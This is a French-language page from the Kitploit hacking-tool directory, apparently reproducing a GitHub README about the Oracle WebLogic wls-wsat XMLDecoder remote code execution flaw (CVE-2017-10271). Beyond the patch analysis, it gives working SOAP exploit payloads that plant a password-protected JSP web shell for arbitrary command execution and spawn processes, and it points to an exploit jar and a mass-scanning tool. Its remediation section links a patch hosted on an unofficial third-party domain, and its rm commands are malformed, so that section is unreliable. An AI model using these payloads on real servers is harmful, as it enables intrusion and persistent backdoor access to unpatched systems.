Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Oracle-WebLogic-CVE-2017-10271 — Auteur original : Bearcat@secfree.com | Kitploit
Outils/GitHubGitHub/xhsecurity/oracle-weblogic-cve-2017-10271
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleOutil d'Accès à Distance
GitHubxhsecurity/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

Auteur original : [email protected]

Voir le dépôt
122il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

WebLogic Wls-wsat XMLDecoder

Description de la vulnérabilité

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Au début, les hackers ont exploité une vulnérabilité du composant WLS de WebLogic pour lancer des attaques à distance à grande échelle contre des serveurs d'entreprise. Un grand nombre de serveurs ont été compromis, et le nombre d'entreprises attaquées est en augmentation nette, ce qui nécessite une attention particulière. CVE-2017-3506 est une vulnérabilité d'exécution de code à distance utilisant le composant WLS d'Oracle WebLogic, une faille exploitée dans la nature sans détails publics, et de nombreuses entreprises n'ont pas encore installé le correctif à temps. Oracle a publié le correctif pour cette vulnérabilité en avril 2017.

Description du correctif CVE-2017-3506 :

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

Il ajoute simplement une fonction validate avant la désérialisation : si qName est égal à object, une exception est levée et le processus s'arrête. C'est simple et brutal, mais ce type de réparation par liste noire est difficile à corriger complètement. Cela mérite réflexion…

La méthode d'exploitation de cette vulnérabilité est relativement simple : l'attaquant n'a qu'à envoyer une requête HTTP spécialement conçue pour obtenir les privilèges du serveur cible, ce qui est extrêmement dangereux. Comme la vulnérabilité est récente, de nombreux hôtes n'ont pas encore mis à jour le correctif. On s'attend à ce qu'après cet incident, le nombre d'attaques augmente fortement et que de nombreux nouveaux hôtes soient compromis.

Le correctif d'Oracle d'avril 2017 pour CVE-2017-3506 n'a pas corrigé la faille de manière exhaustive : il est possible de contourner le correctif et d'exécuter des commandes distantes. La vulnérabilité de contournement CVE-2017-10271 a été corrigée dans le correctif d'octobre 2017 publié par Oracle.

Identifiant de la vulnérabilité

CVE-2017-10271 (vulnérabilité de contournement d'exécution de commandes à distance wls-wsat)

Versions affectées

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.1.0

Oracle WebLogic Server 12.2.1.2.0

Liste des répertoires wls-wsat

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Méthode d'exploitation

Poc :

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/1.jpg)

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/2.jpg)

exploit

Exécution de commandes
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/3.jpg)

exploit

Utiliser un exploit pour obtenir un CmdShell

WebLogic_Wls-Wsat_RCE_Exp.jar
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/4.jpg)

exploit

Détection de masse d'actifs

WebLogic-Wls-wsat-XMLDecoder
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/5.jpg)
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/6.jpg?raw=true)

exploit exploit

Recommandations de correction

  1. Mettez à jour avec le correctif d'Oracle d'octobre 2017.

    http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  2. Contrôlez l'accès aux ressources wls-wsat.

  3. Solution temporaire

    Si l'activité n'est pas affectée, supprimez les fichiers WAR et répertoires suivants de WebLogic en fonction du chemin d'environnement réel.

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Redémarrez le service WebLogic ou le système, puis vérifiez que le lien suivant renvoie une erreur 404 :

http://ip:port/wls-wsat/CoordinatorPortType11

Télécharger l’outil